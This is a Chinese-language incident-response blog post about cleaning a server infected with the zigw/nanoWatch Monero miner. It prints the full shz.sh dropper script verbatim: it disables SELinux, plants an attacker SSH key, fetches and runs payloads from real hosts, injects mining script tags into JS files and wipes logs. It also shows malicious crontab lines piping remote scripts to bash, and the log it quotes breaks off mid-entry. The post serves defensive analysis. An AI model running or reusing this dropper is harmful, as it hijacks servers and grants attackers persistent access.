zigw 和 nanoWatch， libudev.so 和 XMR 挖礦程序查殺記錄
最近這兩天以來，服務器一致聲音很響。原本覺得有同事在運行大的程序，結果後來發現持續很長時間都是這樣，並無停的樣子。後來查了一下，發現有幾個可疑進程致使，幹掉以後，果真服務器靜悄悄了。html
可是，問題並無結束，過了一下子，服務器又開始轟鳴了，查找了一下，這裏簡單記錄一下。java
1.查看top結果，可見以下狀況：mysql
top - 13:38:41 up 7 days, 4:33, 4 users, load average: 80.62, 78.60, 77.78 Tasks: 469 total, 1 running, 465 sleeping, 0 stopped, 3 zombie %Cpu(s): 99.9 us, 0.1 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem : 24.4/65756948 [|||||||||||||||||||||||| ] KiB Swap: 0.0/24367100 [ ] PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 19214 root 20 0 2016184 75664 1416 S 1958 0.1 5606:28 zigw 19369 root 20 0 2016184 55096 1416 S 1951 0.1 5457:32 zigw 29272 root 20 0 294996 62716 4 S 71.2 0.1 126506:29 nanoWatch 2558 root 20 0 21.2g 533096 18008 S 9.9 0.8 0:18.52 java 8830 root 20 0 23.4g 6.1g 18404 S 2.9 9.8 699:47.69 java 25111 root 20 0 23.0g 2.3g 18480 S 0.6 3.6 8:20.14 java 10 root 20 0 0 0 0 S 0.3 0.0 5:07.89 rcu_sched 1315 root 20 0 26812 2308 1504 S 0.3 0.0 1:28.42 systemd-logind 3295 root 20 0 159304 6104 4736 S 0.3 0.0 0:00.10 sshd 3411 root 20 0 162264 2668 1588 R 0.3 0.0 0:00.19 top 3524 root 20 0 1396 868 148 S 0.3 0.0 0:00.01 zlqcduxya 3530 root 20 0 1396 864 148 S 0.3 0.0 0:00.01 ckrdxxjp 9231 root 20 0 24.4g 1.1g 17916 S 0.3 1.8 658:50.70 java 25248 root 20 0 22.2g 935460 13720 S 0.3 1.4 5:00.42 java 41265 mysql 20 0 1975792 398624 8316 S 0.3 0.6 4:00.93 mysqld
經過上圖，能夠看到其中存在3個使用率高的，還有3個殭屍進程。linux
而這裏的 3 zombie ，這三個 zombie就是殭屍進程。git
殺掉殭屍進程的辦法：github
//先查看具體進程 #ps -A -o stat,ppid,pid,cmd |grep -e "^[Zz]" //殺死z進程（這些動做略危險，在生產環境的服務器注意一下） #kill -9 pid號
[root@localhost bin]# ps -A -o stat,ppid,pid,cmd |grep -e "^[Zz]" Zs 22039 22042 [sh] <defunct> 您在 /var/spool/mail/root 中有新郵件 [root@localhost bin]# pwdx 22039 22042 22039: / 22042: 沒有那個進程
固然，sql
倘若你的z進程比較多，能夠編寫個小小的腳本，下面是參與網上的docker
#ps -A -o stat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}' | xargs kill -9
查找crontab，並修改清除定時任務shell
[root@localhost ~]# cat /etc/crontab SHELL=/bin/bash PATH=/sbin:/bin:/usr/sbin:/usr/bin MAILTO=root # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed */3 * * * * root /etc/cron.hourly/gcc.sh
crontab -e 看到的內容：json
REDIS0006þ^@^@^EBack2@I */5 * * * * wget -O .cmd http://c.21-2n.com:43768/shz.sh && bash .cmd ^@^GweaponZ@E */7 * * * * wget -q -O- https://master.minerxmr.ru/start.jpg | bash ^@^GweaponX@D */5 * * * * curl -fsSL https://master.minerxmr.ru/start.jpg | bash ^@^EBack3? */13 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh ^@^EBack1= * * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh ÿª^K&à[§9^\ "/tmp/crontab.w3M9PL" [noeol][converted] 11L, 406C
查看/etc/shz.sh 文件都在作什麼
病毒特徵
第二種病毒是門羅幣（XMR）挖礦程序，門羅幣彷佛是今年年初漲得很快，因此用病毒入侵挖礦的手法也就出現了，病毒主要是經過下載腳本，運行後下載並啓動挖礦程序來工做，腳本的內容以下，關於腳本的代碼分析見於：XMR惡意挖礦案例簡析，裏面講的很是詳細。
# cat /etc/shz.sh #!/bin/sh setenforce 0 2>dev/null echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null sync && echo 3 >/proc/sys/vm/drop_caches crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/gmbpr2 rtdir="/etc/gmbpr2" oddir="/etc/gmbpr" bbdir="/usr/bin/curl" bbdira="/usr/bin/url" ccdir="/usr/bin/wget" ccdira="/usr/bin/get" mv /usr/bin/wget /usr/bin/get mv /usr/bin/curl /usr/bin/url if [ -f "$oddir" ] then pkill zjgw chattr -i /etc/shz.sh rm -f /etc/shz.sh chattr -i /tmp/shz.sh rm -f /tmp/shz.sh chattr -i /etc/gmbpr rm -f /etc/gmbpr else echo "ok" fi if [ -f "$rtdir" ] then echo "goto 1" >> /etc/gmbpr2 grep -q "46j2h" /etc/config.json if [ $? -eq 0 ]; then echo "config ok" else chattr -i /etc/config.json rm -f /etc/config.json fi chattr -i $cont if [ -f "$bbdir" ] then [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} else [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir} fi [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/ [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 root/.ssh/authorized_keys [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /etc outip=`url icanhazip.com` ip=`echo ${outip//./o}` if [ -z "$ip" ]; then outip=`curl icanhazip.com` ip=`echo ${outip//./o}` fi if [ -z "$ip" ]; then ip="unknow" fi filesize=`ls -l zigw | awk '{ print $5 }'` cfg="/etc/config.json" file="/etc/zigw" if [ -f "$cfg" ] then echo "exists config" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /etc/config.json elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/config.json fi fi if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /etc/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /etc/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi chmod 777 zigw sed -i "s/unknow/${ip}/g" config.json sleep 5s ./zigw else echo "runing....." fi chmod 777 /etc/zigw chattr +i /etc/zigw chmod 777 /etc/shz.sh chattr +i /etc/shz.sh shdir='/etc/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /etc/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /etc http://140.143.35.89:43768/shz.sh fi sh /etc/shz.sh fi else echo "goto 1" > /tmp/gmbpr2 chattr -i $cont [[ $cont =~ "shz.sh" ]] || echo "* * * * * sh /tmp/shz.sh >/dev/null 2>&1" >> ${crondir} ps -fe|grep zigw |grep -v grep if [ $? -ne 0 ] then cd /tmp outip=`url icanhazip.com` ip=`echo ${outip//./o}` if [ -z "$ip" ]; then outip=`curl icanhazip.com` ip=`echo ${outip//./o}` fi if [ -z "$ip" ]; then ip="unknow" fi filesize=`ls -l zigw | awk '{ print $5 }'` cfg="/tmp/config.json" file="/tmp/zigw" if [ -f "$cfg" ] then echo "exists config" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/config.json > /tmp/config.json elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/config.json fi fi if [ -f "$file" ] then if [ "$filesize" -ne "1467080" ] then chattr -i /tmp/zigw rm -f zigw if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw > /tmp/zigw elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zigw fi fi chmod 777 zigw sed -i "s/unknow/${ip}/g" config.json sleep 5s ./zigw else echo "runing....." fi chmod 777 /tmp/zigw chattr +i /tmp/zigw chmod 777 /tmp/shz.sh chattr +i /tmp/shz.sh shdir='/tmp/shz.sh' if [ -f "$shdir" ] then echo "exists shell" else if [ -f "$bbdir" ] then curl --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh elif [ -f "$bbdira" ] then url --connect-timeout 10 --retry 100 http://140.143.35.89:43768/shz.sh > /tmp/shz.sh elif [ -f "$ccdir" ] then wget --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh elif [ -f "$ccdira" ] then get --timeout=10 --tries=100 -P /tmp http://140.143.35.89:43768/shz.sh fi sh /tmp/shz.sh fi fi iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP service iptables reload ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\; history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history
注意這兩個地址：
http://c.21-2n.com:43768 http://t.cn/EvlonFh
再查了一下，看V2EX上有人在4小時以前，也遇到這個問題了。（參考：https://www.v2ex.com/t/511857）
檢查 /root/.ssh/authorized_keys ，看有沒有一些奇怪的公鑰：
[root@localhost ~]# cat /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me
參考：http://www.javashuo.com/article/p-ttddqaix-bc.html
查看/usr/bin下的文件：
[root@localhost bin]# cat fntmpqdsjxky.sh #!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin cp "/usr/bin/fntmpqdsjxky" "/usr/bin/dhgeytmsrf" "/usr/bin/dhgeytmsrf"
查看/tmp
[root@localhost tmp]# ls -la 總用量 448 drwxrwxrwt. 16 root root 4096 11月 27 15:15 . dr-xr-xr-x. 17 root root 4096 11月 20 09:06 .. drwx------ 2 root root 19 11月 23 09:46 .esd-0 drwxrwxrwt. 2 root root 6 10月 21 18:16 .font-unix drwxr-xr-x 2 root root 88 11月 27 14:00 hsperfdata_root drwxrwxrwt. 2 root root 78 11月 23 09:46 .ICE-unix -rwxrwxrwx 1 root root 448500 11月 23 20:35 nanoWatch drwxr-xr-x 4 root root 52 11月 1 15:03 NGINX drwxr-xr-x 3 root root 24 11月 27 15:15 soft drwx------ 3 root root 16 11月 14 18:57 systemd-private-608487cde1ba4c3aaf4c6aaa08e00275-mariadb.service-QeGg1y drwx------ 3 root root 16 11月 20 09:05 systemd-private-c0fb9c6305d7414cbabf5c6cabc16150-chronyd.service-5PnKzn drwx------ 3 root root 16 11月 23 09:46 systemd-private-c0fb9c6305d7414cbabf5c6cabc16150-colord.service-EwMvPf drwx------ 3 root root 16 11月 20 09:05 systemd-private-c0fb9c6305d7414cbabf5c6cabc16150-cups.service-WvZk2h drwxrwxrwt. 2 root root 6 10月 21 18:16 .Test-unix drwx------ 2 root root 6 11月 15 19:22 tracker-extract-files.0 drwxrwxrwt. 2 root root 6 11月 23 09:51 .X11-unix drwxrwxrwt. 2 root root 6 10月 21 18:16 .XIM-unix
查看 /var/spool/mail/root
[root@localhost bin]# cat /var/spool/mail/root From root@localhost.localdomain Tue Nov 27 14:40:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id 6708B1F004E; Tue, 27 Nov 2018 14:40:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> wget -O .cmd http://c.21-2n.com:43768/shz.sh && bash .cmd Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7520> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064001.6708B1F004E@localhost.localdomain> Date: Tue, 27 Nov 2018 14:40:01 +0800 (CST) /bin/sh: wget: command not found From root@localhost.localdomain Tue Nov 27 14:40:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id 675F897CA9; Tue, 27 Nov 2018 14:40:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL https://master.minerxmr.ru/start.jpg | bash Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7519> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064001.675F897CA9@localhost.localdomain> Date: Tue, 27 Nov 2018 14:40:01 +0800 (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov 27 14:40:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id 6A2A297CA9; Tue, 27 Nov 2018 14:40:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7521> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064001.6A2A297CA9@localhost.localdomain> Date: Tue, 27 Nov 2018 14:40:01 +0800 (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov 27 14:41:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id 74A7F97CA9; Tue, 27 Nov 2018 14:41:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7523> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064101.74A7F97CA9@localhost.localdomain> Date: Tue, 27 Nov 2018 14:41:01 +0800 (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov 27 14:42:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id 814EF1F0063; Tue, 27 Nov 2018 14:42:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7526> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064201.814EF1F0063@localhost.localdomain> Date: Tue, 27 Nov 2018 14:42:01 +0800 (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov 27 14:42:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id 81BF11F0064; Tue, 27 Nov 2018 14:42:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> wget -q -O- https://master.minerxmr.ru/start.jpg | bash Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7524> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064201.81BF11F0064@localhost.localdomain> Date: Tue, 27 Nov 2018 14:42:01 +0800 (CST) /bin/sh: wget: command not found From root@localhost.localdomain Tue Nov 27 14:43:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id 8DF5C1F0064; Tue, 27 Nov 2018 14:43:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7527> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064301.8DF5C1F0064@localhost.localdomain> Date: Tue, 27 Nov 2018 14:43:01 +0800 (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov 27 14:44:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id 9A9681F0064; Tue, 27 Nov 2018 14:44:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7528> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064401.9A9681F0064@localhost.localdomain> Date: Tue, 27 Nov 2018 14:44:01 +0800 (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov 27 14:45:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id A6C171F0064; Tue, 27 Nov 2018 14:45:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> /etc/cron.hourly/gcc.sh Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7529> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/bash> X-Cron-Env: <PATH=/sbin:/bin:/usr/sbin:/usr/bin> X-Cron-Env: <MAILTO=root> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064501.A6C171F0064@localhost.localdomain> Date: Tue, 27 Nov 2018 14:45:01 +0800 (CST) /bin/bash: /etc/cron.hourly/gcc.sh: No such file or directory From root@localhost.localdomain Tue Nov 27 14:45:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id A6F4C1F0065; Tue, 27 Nov 2018 14:45:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL https://master.minerxmr.ru/start.jpg | bash Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7531> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064501.A6F4C1F0065@localhost.localdomain> Date: Tue, 27 Nov 2018 14:45:01 +0800 (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov 27 14:45:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id A718997CA9; Tue, 27 Nov 2018 14:45:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7530> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064501.A718997CA9@localhost.localdomain> Date: Tue, 27 Nov 2018 14:45:01 +0800 (CST) /bin/sh: curl: command not found From root@localhost.localdomain Tue Nov 27 14:45:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id A73CA97CB1; Tue, 27 Nov 2018 14:45:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> wget -O .cmd http://c.21-2n.com:43768/shz.sh && bash .cmd Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: <XDG_SESSION_ID=7532> X-Cron-Env: <XDG_RUNTIME_DIR=/run/user/0> X-Cron-Env: <LANG=en_US.UTF-8> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <PATH=/usr/bin:/bin> X-Cron-Env: <LOGNAME=root> X-Cron-Env: <USER=root> Message-Id: <20181127064501.A73CA97CB1@localhost.localdomain> Date: Tue, 27 Nov 2018 14:45:01 +0800 (CST) /bin/sh: wget: command not found From root@localhost.localdomain Tue Nov 27 14:46:01 2018 Return-Path: <root@localhost.localdomain> X-Original-To: root Delivered-To: root@localhost.localdomain Received: by localhost.localdomain (Postfix, from userid 0) id B35241F0064; Tue, 27 Nov 2018 14:46:01 +0800 (CST) From: "(Cron Daemon)" <root@localhost.localdomain> To: root@localhost.localdomain Subject: Cron <root@localhost> curl -fsSL http://c.21-2n.com:43768/shz.sh | sh Content-Type: text/plain; charset=UTF-8 Auto-Submitted: auto-generated Precedence: bulk X-Cron-Env: 